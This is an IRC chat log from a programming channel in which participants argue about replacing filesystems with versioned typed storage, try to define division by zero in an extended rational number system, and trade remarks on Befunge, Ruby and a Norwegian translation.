21:59:55 <AnMaster> pikhq, ah, then I misunderstood you
22:00:18 <pikhq> I just want to say "I want these images organised into a single group. I'll stick them into a bag."
22:00:31 <AnMaster> pikhq, I thought you meant like "here are some data structures with values, organise them in a sensible way"
22:00:49 <pikhq> Nope. I want "Here are some values, stick them into this data structure."
22:00:50 <alise> my os is #usys btw, in case i haven't said that enough already
22:01:11 <AnMaster> pikhq, well, try mov ;P (intentional misinterpreting)
22:01:38 <pikhq> "Saving"? Bah. That's sync.
22:01:54 <alise> Saving? Bah. That's done quicker than you can even notice.
22:01:58 <AnMaster> actually saving makes sense sometimes
22:02:02 <alise> By the computer.
22:02:04 <AnMaster> consider a database transaction
22:02:10 <AnMaster> you want things either complete or not done at all
22:02:13 <cpressey> "Saving" is an action derived from my level of interest in the data.
22:02:15 <AnMaster> of course, that isn't the common case
22:02:27 <alise> Incidentally, such an "auto-saving" system of course requires revision history.
22:02:32 <dev_squid> What if I "p" a null or non-printable ASCII character to a position? Will the rest of the line shift left, potentially changing program flow? o.o
22:02:39 <alise> Or just deleting the entire contents of a document would permanently erase it; obviously untenable.
22:02:43 <pikhq> alise: I'm saying "Saving? Isn't that just making 100% sure it's on disk? ... So, sync()."
22:02:46 <alise> So we have everything versioned!
22:02:46 <AnMaster> alise, you know how long saving a 700 MB image in RAM to disk takes?
22:02:47 <alise> Woo hoo
22:02:54 <cpressey> dev_squid: No, you just get a weird character at that location.
22:03:03 <AnMaster> alise, even with no compression
22:03:07 <alise> AnMaster: One, deduplicative storage (plan 9 already does basically what i'm saying and it uses deduplicative storage
22:03:08 <alise> )
22:03:10 <alise> Two, background tasks
22:03:16 <alise> Three, compression if it would work well
22:03:16 <cpressey> dev_squid: You can read it back with "g", or try to execute it (at your peril) :)
22:03:27 <pikhq> AnMaster: More than it takes to record a 10k modification transaction to that image on disk. :P
22:03:41 <AnMaster> alise, 1) doesn't really work well when the data moved inside a block (and you can't do it per byte for obvious reason)
22:03:51 <alise> AnMaster: Yes it does.
22:03:57 <alise> Log storage.
22:04:02 <cpressey> Four, it's stored in the cloud anyway.
22:04:08 <alise> These are solved problems. :)
22:04:13 * alise stabs cpressey to death. Fatally!
22:04:17 <cpressey> Argh!
22:04:29 <AnMaster> pikhq, well sure... that would take long to rerun! That switch from one colour space to another
22:04:33 <AnMaster> changing all the values
22:04:36 <AnMaster> pikhq, :P
22:04:54 <alise> I think it's safe to just assume that for anything even remotely in this vicinity, "AnMaster doesn't get it" is pretty axiomatic
22:05:02 * cpressey tries to regain credibility by explaining it's an actual cloud
22:05:22 <alise> cpressey: I like your thinking.
22:05:23 <AnMaster> alise, I do see how it works for some cases. I just think the problems it solves are less than the new problems it introduces
22:05:26 <alise> You're promoted
22:05:32 <pikhq> AnMaster: So clearly if you want fast access, you then have (in the background) a write of the switched-colour-space file.
22:05:45 <alise> AnMaster: The existence of Plan 9 and its use by people for actual work using venti/fossil prove that this is a solved problem.
22:05:53 <alise> Because it does exactly this method of deduplicative storage.
22:06:03 <AnMaster> alise, I never said venti was bad. On the contrary
22:06:05 <AnMaster> I love venti
22:06:06 <alise> Solved problem. Seriously. Not interesting. No point discussing, because it's solved.
22:06:11 <alise> AnMaster: IT DOES EXACTLY WHAT I'M SAYING!
22:06:13 <AnMaster> I just think there are good and bad usages for it
22:06:17 <pikhq> And if you wish to save space somehow, then you make the previous modification into a modification transaction that undoes that.
22:06:22 <alise> You haven't even used it for serious stuff
22:06:28 <alise> you just read about it on wikipedia, anyway
22:06:38 <dev_squid> cpressey, cool, cool. A VERY neat thing would be being able to "p" a some char to a line, shifting the rest of the line left. That'd make for some very cool SMC. :)
22:06:39 <AnMaster> alise, I have used it in qemu
22:06:45 <AnMaster> and I liked it
22:06:47 <alise> Yeah, to create a hello world file
22:07:01 <AnMaster> alise, ... why do you love making up shit?
22:07:01 <Deewiant> dev_squid: The TOYS fingerprint has instructions for shifting lines and columns
22:07:29 <alise> AnMaster: Because I realised this conversation was fruitless some years ago
22:07:55 <AnMaster> alise, maybe you would get more people interested if you wrote it in a less whiny style
22:08:02 <AnMaster> it shouldn't be hard
22:08:39 <alise> It's only whiny insofar as I've thought about these concepts for ages and ages now so my presentation isn't very gentle
22:08:51 <alise> If I wanted to be a describer I wouldn't be a programmer
22:09:21 <AnMaster> alise, further, yes I agree on *some* points, but far from all. Most importantly that while I agree file systems are suboptimal, they are better than the alternatives I have seen so far (venti is nice for some purposes, but have fun using it a partition with scratch data, like /tmp)
22:09:29 <dev_squid> How are the coordinates calculated for "g" and "p"? 0,0 | 0,1 // 1,0 | 1,1 ?
22:09:32 <dev_squid> :)
22:09:44 <dev_squid> That being the first line, first character. :|
22:09:55 <alise> AnMaster: Of course existing solutions suck, that's why I'm building a better one
22:10:02 <alise> If there was an OS that didn't suck I wouldn't be making one
22:10:04 <AnMaster> alise, describe it
22:10:16 <AnMaster> on a concrete level
22:10:25 <alise> I haven't fully formulated it yet, only several outline designs, some concrete details, and some plans to combine them.
22:10:37 <AnMaster> okay, that's a good start I guess
22:10:43 <alise> So what the fuck am I meant to do, ignore the problem just because I'm not some magician who can pull a fully concrete solution out of thin air? No
22:10:45 <AnMaster> but can you provide the outline
22:10:56 <Gregor> alise: There's a difference between blunt and whiny.
22:10:58 <alise> I do wonder if I'm patient enough but I could explain one.
22:11:02 <alise> Gregor: Yeah, well, I'm whiny.
22:11:04 <AnMaster> Gregor, agreed
22:11:11 <alise> Deal with it. :p
22:11:25 <AnMaster> well, we can whine about you being whiny, can't we?
22:11:29 <AnMaster> that way it evens out at least
22:11:42 <Gregor> alise: If you want our opinion, it is not our job to conform to you, it is your job to conform to us. And if you don't want our opinion, then why did you publish that file in here?
22:11:53 <alise> I wrote it for one person actually per their request
22:11:57 <alise> I posted it because I felt like it.
22:12:13 <alise> Perhaps somebody would be converted.
22:12:17 <alise> AnMaster: Sure.
22:12:57 <alise> I'll only explain the design in #usys because it'll be bad enough dealing with one set of stupid questions (I am a lovely and compassionate person)
22:12:58 <Gregor> If you have any desire to convert anybody, you'll have to write something a hell of a lot more compelling. I have no idea if the actual concepts you espouse are flawed, because I can't find them, I can only find your complaints about files, most of which seem to me to be unfounded and shortsighted.
22:13:15 <alise> Gregor: Just like your mom
22:13:23 <cpressey> "Author does not appear to have defined a reduction for *[a b], which appears to render much of the post meaningless. Too much raw pork & opium?"
22:15:00 <AnMaster> alise, and, most data I need to store tends to form a tree. Even photos. It goes like panoramas/<project-name>/{output/final.tiff,{raw,intermediate}/<exposure>/<number from order taken in, yes this matters for me, otherwise it would be hard to get the images in the panoramas in the right order>}
22:15:16 <alise> so store it in an ordered list
22:15:26 <AnMaster> alise, the last part, sure, that could work for it
22:15:33 <AnMaster> the previous parts form a neat tree
22:15:35 <alise> and so store it as a tree-like structure
22:15:50 <alise> but if trees containing strings are so good, why don't you program in them?
22:15:57 <alise> Why do you use data structures, types, depending on the need?
22:16:04 <AnMaster> alise, but then, why should I have to bother about data types. Which way is fastest for me to do it in?
22:16:21 <alise> So, what, you don't like C and Erlang? They have data structures, you know.
22:16:36 <AnMaster> alise, I don't feel a need to program my file system
22:16:43 <AnMaster> as in, I don't see it as a programming language
22:16:56 <alise> Your data structures in your program are the exact same kind of data as on a filesystem.
22:17:04 <AnMaster> in some ways yes
22:17:10 <alise> In fact I really should heed my realisation that this is fruitless and stop talking.
22:17:11 <AnMaster> alise, but what about taking notes on paper
22:17:18 <AnMaster> do you organise it in data types there?
22:17:24 <AnMaster> or do you just write it down
22:17:24 <alise> >_<
22:17:25 <alise> You're an idiot.
22:17:41 <AnMaster> alise, no, the analogy is just as bad as your one
22:17:46 <AnMaster> well, okay, it is a parody of your
22:17:50 <AnMaster> so somewhat worse
22:17:53 <alise> If writing to paper involved taking all the things you're going to talk about and organising them into one, single-d alphabet with little relation to the actual semantics... sure.
22:17:54 <AnMaster> not much though
22:18:07 <alise> Do you convert a mathematical formula before writing it down? No, you just write it down.
22:18:08 <AnMaster> alise, no I meant, writing down notes during a lecture
22:18:10 <alise> It is structured.
22:19:23 <AnMaster> alise, yes, but hardly in the way you suggest
22:19:29 <AnMaster> now I'm going to sleep
22:19:31 <AnMaster> night →
22:19:41 <alise> Thank god, the tedium is over.
22:19:59 <alise> I should have stuck to keeping everything about the OS private, but that just resulted in "hur where's your os mr project b slo".
22:20:12 <pikhq> alise: Eh, just write some code. :P
22:20:54 <alise> To do what? Until I can answer that question it is hopeless.
22:25:17 <alise> I do have a general idea how the system should be structured
22:25:24 <alise> s/ $/, though./
22:26:05 -!- Oranjer has joined.
22:43:53 -!- MizardX has quit (Ping timeout: 260 seconds).
22:46:33 <alise> Maybe I need to write Why Files Suck 2: Electric Boogaloo^W^WThe Better System
22:48:02 -!- MigoMipo has quit (Remote host closed the connection).
22:48:50 <Oranjer> do it
22:48:59 <alise> no, too much work.
22:50:01 -!- coppro has joined.
22:50:35 <Oranjer> well, don't write it, just sketch it out
22:51:08 -!- tombom_ has quit (Quit: Leaving).
22:54:48 <alise> Meh. I'd prefer to work on the actual system.
22:55:46 <Oranjer> then do that
22:57:28 -!- Asztal has joined.
22:58:39 <alise> I am. Sort of.
22:59:12 <Oranjer> yay
22:59:13 -!- Azstal has quit (Ping timeout: 265 seconds).
23:02:30 -!- Azstal has joined.
23:04:37 -!- Asztal has quit (Ping timeout: 268 seconds).
23:08:57 -!- oerjan has joined.
23:10:11 -!- Gracenotes has joined.
23:10:23 <oerjan> <alise> I started defining an extension of the rationals with n/0, then I ended up having to define 0/n as special too. Now I'm having to define 0 =/= -0.
23:10:37 <oerjan> have you looked at wp:Wheel Theory ?
23:10:39 <Gregor> NULLITY
23:10:55 <oerjan> (essentially the same as nullity, but sane)
23:11:46 <oerjan> iirc about that nullity thing and it's 0/0 != 0/0
23:11:51 <oerjan> *its
23:12:33 <oerjan> although i _think_ it has only 0/0 and 1/0 for the rationals
23:14:31 <oerjan> s/it/wheel theory/
23:16:29 <alise> I assume they satisfy 0*(n/0) = n.
23:16:42 <oerjan> <dev_squid> I want to learn an esolang that's fun and makes programming a challenge. Any suggestions?
23:16:53 <oerjan> no one seems to have mentioned unlambda yet
23:17:31 <oerjan> alise: i guess it's all in what algebraic properties you preserve and which you discard
23:19:49 <oerjan> yours is going to break at least one of associativity and commutativity i think
23:20:46 <oerjan> 0*0 = 0 => n = 0*(n/0) = 0*0*(n/0) = 0*n = 0
23:21:10 <alise> 0*n =/= 0 in general
23:21:25 <oerjan> even for n an ordinary rational?
23:21:28 <alise> in fact there is no real one "0"
23:21:35 <alise> although 0/1 is usually what you think of
23:21:37 <alise> there's 0/n for all n
23:21:40 <oerjan> oh well
23:21:47 <alise> 0/0 is special though... and behaves rather erratically
23:22:47 <oerjan> well something's going to be
23:23:10 <alise> oh, and 0/n != 0
23:23:28 <alise> because (n/0)^-1 = 1/(n/0) = 0/n and so (0/n)*(n/0) = 1
23:23:30 <oerjan> hm i guess that's obvious
23:24:00 <alise> I determined, I think using regular rational addition, that (m/0)+n = (m+n)/0, also
23:24:24 <alise> When you start doing things like (3/0)/(0/0)*(0/3), though, I have no fucking clue what the result is
23:24:45 <oerjan> that sounds like one of the wheel theory axioms
23:25:23 <alise> I derived it :P
23:25:48 <oerjan> hm not quite
23:26:46 <alise> if (x/0) exists then (x/0)^-1 exists. n^-1 = 1/n. 1/(x/y) = y/x. x*(1/x) = 1. therefore (x/0)^-1 = 0/x, and (0/x)*(x/0) = 1
23:27:36 <Gracenotes> what is this about (x/0) existing?
23:27:56 <oerjan> if that's associative and commutative, then everything having an inverse forms a group
23:27:58 <Oranjer> hahah
23:28:27 <alise> Gracenotes: Step 1. Define x/0 to work. Step 2. Find a contradiction. Step 3. Mess with shit until it works. Step 4. Go to step 2.
23:28:53 <alise> Oh, and if you ever end up messing with shit so that 0 =/= -0, you lose. Mess with some other shit.
23:29:02 <Gracenotes> so what is the shit you've messed with
23:29:23 <alise> Well...
23:29:28 <Gracenotes> ℝ \ {0} is a group btw :o
23:29:29 <alise> We'll do it in terms of multiplicative inverse.
23:29:49 <alise> 0^-1 = 1/0
23:30:00 <alise> (1/0)*0 = 1
23:30:13 <alise> (n/0)^-1 = 1/(n/0) = 0/n
23:30:19 <alise> (0/n)*(n/0) = 1
23:30:34 <alise> ((use the definition of rational addition here to derive:))
23:30:45 <alise> (m/0)+n = (m+n)/0
23:30:53 <alise> And so on.
23:33:08 <alise> I'll leave oerjan to find the next contradiction :P
23:33:28 <alise> Oh, and n*(0/n) = 0. Obviously.
23:33:39 <alise> Otherwise it wouldn't be division, would it? :P
23:34:13 <alise> n*(0/n) = 0, 0*(n/0) = n. Plugging in n=0, we get overwhelming support in favour of 0*(0/0) = 0.
23:34:26 <alise> Since we have 0/n for every other n, we have 0/0 too.
23:34:30 <alise> I forget exactly how it's special.
23:34:51 <oerjan> i cannot deduce contradictions without axioms
23:34:52 <alise> (0/0)^-1 = 1/(0/0) = 0/0
23:34:57 <alise> so (0/0)*(0/0) = 1
23:35:05 <alise> oerjan: Infer them sucka :P
23:35:27 <oerjan> i am going to assume that multiplication is an abelian group
23:35:37 <alise> Hey, that gives you 0/0 = 1, pretty trivially.
23:35:44 <oerjan> hm yeah
23:35:45 <alise> But that breaks things so ssssh
23:35:49 <oerjan> oh
23:35:50 <alise> (I think it does, at least.)
23:35:57 <alise> I haven't found any breakage
23:36:01 <alise> so feel free to assume 0/0 = 1 :P
23:36:01 <oerjan> well then i found one didn't i >:)
23:36:19 <alise> Also when I say an integer I mean n/1.
23:36:25 <alise> Obviously. Anything else would be ridiculous.
23:37:03 <oerjan> is 0 + x = x ?
23:37:19 <alise> Which 0 do you mean? 0/1?
23:37:27 <alise> 0/n>1?
23:37:32 <oerjan> hm
23:37:38 <alise> The 0/ns aren't really 0, though.
23:38:02 <alise> (0/n)*(n/0) = 1, whereas (0/1)*(1/0) = 1... er... okay.
23:38:08 <alise> But they aren't 0, so there.
23:38:13 <alise> They're some weird fractional 0.
23:38:19 <oerjan> x/y = x*(1/y) ?
23:38:22 <alise> 0 + x = x, sure.
23:38:31 <alise> oerjan: Yes; I've defined all this in terms of multiplicative inverse.
23:38:45 <alise> Also, no additive inverse. Too Complicated For My Poor Brain.
23:38:55 <alise> (You get 0 =/= -0 pretty easily)
23:38:56 <coppro> 0/0 = everything, obviously
23:39:07 <alise> 0/0 = 1, actually. Has to be in this system.
23:39:25 <alise> 1/(n/0) = 0/n, (0/n)*(n/0) = 1
23:39:36 <alise> so 1/(0/0) = 0/0, and (0/0)*(0/0) = 1
23:39:39 <alise> and 0*(0/0) = 0
23:39:43 <alise> so it's 1
23:39:50 <alise> coppro: remember, 0*x =/= 0 all the time in this
23:40:26 <oerjan> except for x = 1, i assume
23:40:46 <alise> (0/1)*(1/1) = 0, yes.
23:40:52 <alise> But (0/0)*(1/1) = no fucking clue.
23:41:02 <alise> er, wait
23:41:04 <alise> that's 1*1
23:41:13 <alise> (0/0)*(1/1) = (1/1)*(1/1) = 1/1
23:41:20 <alise> (0/2)*(1/1) = beats me
23:41:34 <oerjan> i've seen nothing so far to disprove that multiplication is an abelian group (with 1 as identity)
23:41:49 <alise> i ended up having multiple multiplicative or additive identities iirc at one point
23:41:53 <oerjan> which means the latter is 0/2
23:41:55 <alise> and broke stuff trying to fix that
23:42:10 <Gracenotes> oerjan: it's an abelian group on ℝ\{0}
23:42:18 <oerjan> Gracenotes: shut up :D
23:42:52 <alise> also this is based on the rationals not the reals just so i have convenient notation
23:43:02 <alise> and as soon as my brain sees 0/pi it freezes up
23:43:20 <oerjan> continued fractions, man
23:43:29 <alise> man, man
23:43:30 <Gracenotes> ℚ\{0} too
23:43:58 <alise> (1/0)/(((0/2)+(3/0))*(1/3))
23:44:01 <oerjan> that x/0 + y = (x+y)/0 looks weird, though
23:44:28 <Gracenotes> yeah, especially if you multiply by 0. oh wait
23:44:29 <alise> i'll repeat my derivation
23:45:11 <alise> (a/1)+(c/0)=(a0 + 1c)/(1*0)
23:45:19 <alise> (a/1)+(c/0)=(0 + c)/0
23:45:21 <alise> wait what?
23:46:11 <alise> ok only the denominator matters
23:46:19 <alise> (_/x)+(y/0) = (x*y)/0
23:46:30 <alise> no idea what +(0/n) does for n>1
23:46:41 <Sgeo__> Who pinged me?
23:46:45 <alise> me doesn't matter now
23:47:02 <alise> (a/b)+(0/d) = (ad + b0)/bd
23:47:07 <alise> (a/b)+(0/d) = ad/bd
23:47:15 * Sgeo__ is going to try tryruby again
23:47:23 <alise> it's down
23:47:25 <alise> why is gone
23:47:47 <oerjan> Sgeo__: it's a squatted domain afaict
23:47:54 <alise> so (1/2)+(0/3) = 3/6
23:48:00 <Sgeo__> Unless it's on a delayed disappearance scheme that triggered hours ago, it should be around
23:48:03 <alise> = 1/2
23:48:04 <Sgeo__> I was on it hours ago
23:48:09 <oerjan> huh?
23:48:14 <alise> Sgeo__: ? no you weren't
23:48:15 <Sgeo__> tryruby.org
23:48:18 <alise> tryruby died along with why
23:48:24 <alise> oh i see, a mirror
23:48:43 <alise> no
23:48:46 <alise> recreated from the ground up apparently
23:48:56 <alise> reusing the design strikes me as bad taste
23:49:00 <Sgeo__> With a strangely working backspace
23:49:05 <alise> ruby sucks anyway
23:49:17 <alise> oerjan: so I think x+(0/n) = x
23:49:29 <alise> for all n apart from 0, in which case it's x+(1/1)
23:49:45 <coppro> alise: that sounds correc
23:49:48 <coppro> *correct
23:49:48 <Sgeo__> Howso?
23:49:59 <oerjan> alise: hm that may mean i remembered correctly that someone from tryruby wanted to consolidate things with tryhaskell when the latter was announced
23:49:59 <alise> Of course, when I'm deriving all this I'm assuming the other party isn't a weird 0-fraction monster.
23:50:03 <alise> now go work out what (m/0)+(0/n) is
23:51:28 <coppro> alise: if m is not 0, it's undefined still
23:51:51 <alise> No undefined, coppro.
23:51:55 <alise> We don't accept undefined.
23:52:20 <coppro> Well you haven't defined m/0 where m != 0 yet
23:52:27 <alise> Yes, I have.
23:52:41 <alise> [23:29] alise: 0^-1 = 1/0
23:52:42 <alise> [23:29] alise: (1/0)*0 = 1
23:52:42 <alise> [23:29] alise: (n/0)^-1 = 1/(n/0) = 0/n
23:52:42 <alise> [23:29] alise: (0/n)*(n/0) = 1
23:52:52 <alise> m/0 is the fraction m/0. Rationals.
23:52:59 <coppro> none of those provides an actual definition though
23:53:02 <coppro> merely an identity
23:53:12 <alise> what is the definition of the rational 1/2?
23:53:21 <alise> things are their properties and relations
23:53:33 <coppro> if you accept m/0 as a number in and of itself
23:53:47 <alise> if you accept 1/2 as a number in and of itself
23:53:54 <coppro> 0.5
23:54:01 <alise> that's a decimal representation of the rational 1/2
23:54:04 <oerjan> he doesn't need to define stuff. just take the free algebra of his operations and quotient by whatever equations still hold
23:54:04 <coppro> then m/0 + 0/n is m/0 for non-zero n, and m/0 + 1 for n=0
23:54:05 <alise> you fail
23:54:05 <Sgeo__> alise, how does Ruby suck?
23:54:20 <alise> Sgeo__: "Let me count the ways. Uh, I've run out of tendrils."
23:54:40 <coppro> to alise, every language sucks in too many ways
23:54:44 <Sgeo__> I can count ways that the current tryruby sucks
23:55:39 -!- Asztal has joined.
23:55:57 <Sgeo__> 1) Wonky backspace. 2) Incorrectly interpreted a test as me completing the lesson
23:55:58 <alise> coppro: you do know what the rationals are right?
23:56:19 <coppro> alise: Yes.
23:56:36 <alise> then you accept 1/2 as a number in and of itself, as opposed to "evaluating to 0.5"
23:56:37 <oerjan> alise: is m*n the usual value for every nonzero integer m, n ?
23:56:51 <coppro> alise: I do.
23:56:51 <alise> similarly, n/0 for all n>0 and 0/n for all n>0.
23:56:59 <coppro> n/0 is not a rational
23:57:04 -!- Azstal has quit (Ping timeout: 265 seconds).
23:57:09 <alise> coppro: It's a weirdtional. I'm defining an extension of the rationals.
23:57:21 <alise> oerjan: Rephrase please?
23:57:22 <coppro> ok. In that case, I answered your question
23:57:25 <coppro> [16:53:40]<coppro>then m/0 + 0/n is m/0 for non-zero n, and m/0 + 1 for n=0
23:57:45 <oerjan> coppro: you are completely failing to understand the spirit of this thing. it may be a stupid thing but that is no reason for interpreting it even more stupidly than intended
23:57:51 <dev_squid> Guys.
23:58:15 <alise> of course it is stupid ;)
23:58:16 <alise> *:)
23:58:25 <oerjan> alise: is (m/1)*(n/1) = (mn/1) for m, n ordinary nonzero integers?
23:58:28 <dev_squid> I just made a cool program in Befunge. :)
23:58:28 <dev_squid> http://pastie.org/850853
23:58:40 <alise> oerjan: Yes, purely rational calculations are still rational.
23:58:42 <oerjan> where the mn multiplication is ordinary integer multiplication
23:58:53 <alise> Ones involving 0-fractions are surely irrational and insane to the highest degree.
23:58:54 <coppro> actually, I just realized something
23:59:03 <oerjan> alise: except multiplication by 0
23:59:17 <coppro> division of 0 cannot be considered to equal 0 in all cases
23:59:19 <alise> Only if you involve a 0-fraction
23:59:26 <alise> (0/1)*normal = 0/1
23:59:31 <alise> 0/2 too I think
23:59:34 <alise> except = 0/2
23:59:34 <coppro> you have to have separate zeroes for each 0/n
23:59:39 <alise> er wait has to be 0/1
23:59:48 <alise> no it doesn't
23:59:48 <alise> 0/2
23:59:50 <dev_squid> Who likes it?
2010-03-03
00:00:04 <alise> coppro: what?
00:01:01 <oerjan> alise: argh. (0/1)*normal = 0/1 violates my hypothesis that it's an abelian group :(
00:01:21 <coppro> wait, does (m/0)*0 = m?
00:01:33 <alise> yes
00:01:37 <alise> oerjan: what should it be?
00:01:46 <coppro> ok, never mind then
00:02:05 <coppro> then I go by my previous answer
00:02:18 <alise> so does YOUR MOM
00:02:38 <alise> oerjan: (0/1)*normal = ?
00:02:50 <oerjan> alise: well if normal = 1/n then it should be 0/n
00:03:03 <alise> fair enough
00:03:07 <alise> i think i had that too anyway
00:03:10 <alise> what if normal = 2/n?
00:03:13 <coppro> wait, what is normal here?
00:03:15 <alise> 0/(2/n)?
00:03:40 <alise> coppro: not 0/m or n/0 where m>1 or n>0
00:03:41 <oerjan> alise: 0/(n/2)
00:03:47 <alise> okay.
00:03:48 <coppro> alise: ok
00:04:11 <Sgeo__> I like Ruby symbols
00:04:22 <alise> 4/5 * 0/1 = ?
00:04:33 <alise> for that matter, 4/5 * 0/2 = ?
00:04:56 <oerjan> 0/(5/2)
00:04:56 <coppro> 0 in all cases, I think
00:05:53 <alise> oerjan: =
00:05:53 <alise> ?
00:06:03 <alise> it's nat/nat and 5/2 is not a natural
00:06:05 <oerjan> the latter one
00:06:07 <Sgeo__> Some Ruby syntax is strange
00:06:24 <alise> i guess it's just (0/1)/(5/2)
00:06:46 <oerjan> alise: you cannot get everything in the form m/n with naturals if you assume it's an abelian group and 0 cannot be combined in
00:06:47 <alise> = 0/5
00:07:10 <alise> oerjan: 0 is 0/1
00:07:23 <alise> 0/n isn't anywhere near being 0 despite intuition
00:07:34 <oerjan> alise: that doesn't help _reduce_ the number of factors
00:08:12 <alise> maybe i expressed myself wrongly
00:08:13 <oerjan> 0/(5/2) cannot be written simpler, afaict
00:08:44 <oerjan> it's the same as 0*(2/5), though
00:08:57 <alise> is it not 0/5?
00:09:44 <alise> 0/(5/2) = (0/1)/(5/2) = (0*2)/(1*5) = 0/5
00:09:54 <oerjan> ouch
00:10:00 <Sgeo__> um... Ruby uses C++-like syntax for some I/O?
00:10:15 <alise> oerjan: i just done a bad :D
00:10:16 <oerjan> alise: if it's an abelian group then 0*x = 0 implies x = 1
00:10:40 <alise> 0/5 =/= 0
00:10:49 <alise> 0*(2/5) = 0/5
00:10:52 <alise> er
00:10:54 <alise> (0/2)*(2/5) = 0/5
00:11:03 <alise> or was it /, I forget by now
00:11:04 <alise> or even +
00:11:10 <alise> but point is, just as 1/2 isn't 1/1
00:11:13 <oerjan> the latter would be correct for a group
00:11:15 <alise> 0/n isn't 0
00:11:38 <oerjan> indeed. and so 0/(5/2) cannot be simplified, although there are rearrangements
00:11:48 <dev_squid> Like my random hash generator? (http://pastie.org/850853) :P
00:11:57 <oerjan> (0/5)*2, say
00:12:02 <alise> dev_squid: cool.
00:12:09 <dev_squid> alise, :D
00:12:11 <alise> oerjan: how is 0/(5/2) = 0/5 wrong?
00:12:36 <coppro> dev_squid: neat, but inefficient
00:13:09 <coppro> also biased
00:13:44 <oerjan> alise: => 5/2 = 5 by abelian group axioms
00:13:57 <dev_squid> coppro, yes it is biased and it is inefficient; I wasn't aiming for either.
00:13:58 <alise> but i don't like 0/(5/2) being irreducable :(
00:14:02 <alise> find some other algebraic structure :P
00:14:06 <coppro> ok
00:14:11 <oerjan> sheesh
00:14:40 <alise> :-D
00:15:08 <dev_squid> coppro, I'm new to Befunge. Just trying out what I've learned. :)
00:16:23 <dev_squid> coppro, I tried to make the odds as balanced as I could without rewriting the whole program.
00:16:44 <coppro> ok
00:18:41 <alise> oerjan: i have a sneaking feeling this is all quite impossibe
00:18:44 <alise> *impossible
00:19:24 <coppro> anything is possible
00:19:43 <alise> i mean, retaining all the basic properties we want
00:19:44 <Oranjer> anything!
00:19:50 <alise> and no. _|_ isn't possible
00:19:50 <oerjan> alise: duh
00:20:03 <alise> oerjan: see that is *not* the answer i was hoping for
00:20:24 <alise> Would be fun to have a complete number system with no undefined operations at all
00:20:41 <alise> Reals go horizontally, complexes stack on top vertically, and things we had to add to make everything work go sort of spiralling off diagonally
00:21:21 <coppro> there's a reason 0/0 is considered an indeterminate form
00:21:57 <alise> Bite my shiny zero-dividing fraction. :|
00:23:02 * Sgeo__ gives up on TryRuby
00:24:17 <coppro> alise: new suggestion: we define 0/0 to be a daffodil
00:24:28 <alise> coppro: you are so boring :(
00:24:49 <coppro> I had to work hard for a joke that bad :(
00:25:02 <oerjan> alise: well if you want to insist that everything is m/n for integers m, n then maybe it would be better to define the operations and then _afterward_ finding out which rules still hold
00:25:12 <alise> yes.
00:25:17 <alise> oerjan: will you remind me to, tomorrow?
00:25:27 <coppro> alise: please tell me you at least got the joke
00:25:35 <coppro> also, you're allowed back on on weekdays now?
00:25:45 <alise> no i'm not going because of overriding crisis
00:25:52 <oerjan> although you still need to decide which fractions in non-smallest terms are equal
00:25:58 <alise> complicated, and i'm going now anyway
00:26:02 <alise> hopefully i will be here tomorrow
00:26:03 <alise> see you guys!
00:26:05 -!- alise has quit (Quit: alise).
00:31:16 -!- cpressey has left (?).
00:32:17 <oerjan> <AnMaster> <uorygl> `translate Hva de skal se, vites ikke enda! <-- yeah that looks like Norwegian indeed <-- except that kind of passive is ridiculously stilted for norwegian
00:32:35 -!- SimonRC has quit (Ping timeout: 246 seconds).
00:33:38 <oerjan> passives with -es are much less common in norwegian than swedish afaik
00:35:27 <oerjan> it could of course be stilted for humorous reasons
00:42:59 -!- SimonRC has joined.
01:02:57 -!- lament has quit (Ping timeout: 276 seconds).
01:06:17 -!- lament has joined.
01:18:14 <Sgeo__> No closures in Ruby [apparently]
01:18:23 * Sgeo__ is learning!
01:18:42 <Oranjer> yay
01:19:03 <Sgeo__> n/m
01:26:56 <pikhq> Wait, those things don't close?
01:30:22 <Sgeo__> Methods can't see surrounding variables, but blocks can
01:30:24 <Sgeo__> Apparently
01:37:44 <Sgeo__> In Ruby, there seem to be a million ways to accomplish the same thing
01:37:49 <Sgeo__> For any given "thing"
01:38:33 <oerjan> ruby stole that from perl, obviously
01:41:26 <oerjan> (see: perl motto)
01:45:03 -!- Asztal has quit (Ping timeout: 252 seconds).
01:45:09 -!- FireFly has quit (Quit: Leaving).
01:45:11 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
02:08:43 * Sgeo__ is considering running back to his beloved Python
02:29:26 -!- dev_squid has quit (Ping timeout: 240 seconds).
02:33:33 -!- dev_squid has joined.
02:40:55 <uorygl> oerjan: or it could be stilted for dramatic effect.
02:40:58 -!- ruhtranayr has quit (Remote host closed the connection).
02:42:51 -!- thewolfangel has joined.
02:42:53 <oerjan> uorygl: it is really _too_ stilted for that
02:43:09 -!- thewolfangel has left (?).
02:43:11 <oerjan> it is not just the passive, but also the word order
02:43:41 <uorygl> "Yet to be known is which movie."
02:44:07 <uorygl> That, at least, looks like a plausible thing to say.
02:45:05 <oerjan> "Hva de skal se, er ennå ukjent!" would be a better phrasing for that purpose.
02:45:39 <uorygl> Maybe this is just a stilted person. :P
02:46:33 <uorygl> That's a Facebook status update. "Marianna skal straks se film med Ørjan. Hva de skal se, vites ikke enda!"
02:46:40 <uorygl> s/Marianna/Marianne/
02:47:03 <uorygl> `translatefromto sv en Marianne skal straks se film med Ørjan.
02:47:06 <oerjan> that's definitely humoristically dramatic, then
02:47:12 <HackEgo> Marianne skal straks see movies with &#216;rjan.
02:47:22 <oerjan> it's norwegian, not swedish
02:47:25 <uorygl> I know.
02:47:32 <uorygl> `translatefromto sv en Hva de skal se, vites ikke enda!
02:47:34 <HackEgo> Hva de skal se, vites ikke only!
02:47:45 <uorygl> That translated less well.
02:48:22 <uorygl> I wonder what a P-knappen is.
02:48:32 <oerjan> `translatefromto sv en Vad dom skal se, vites inte ennu!
02:48:34 <HackEgo> As they peel look, vites not ennu!
02:48:41 <oerjan> what the heck!
02:48:53 <oerjan> my swedish must be worse than i thought :D
02:49:09 * uorygl peels look.
02:49:17 <oerjan> oh skal = skall
02:49:22 <oerjan> or shell
02:49:30 <oerjan> completely different meaning in swedish
02:50:12 <oerjan> `translatefromto sv en Vad dom ska se, vets inte enn!
02:50:14 <HackEgo> What they should look, not vets enn!
02:50:23 <oerjan> *sigh*
02:50:45 <oerjan> `translatefromto no sv Hva de skal se, vites ikke enda!
02:50:47 <HackEgo> Att se, är inte känt ännu!
02:51:16 <oerjan> not exactly perfect either (well, the first part)
02:51:26 <oerjan> the second part actually removed the stiltedness
02:51:52 <oerjan> `translatefromto no en Hva de skal se, vites ikke enda!
02:51:54 <HackEgo> What to see, is not known yet!
02:56:52 -!- thewolfangel has joined.
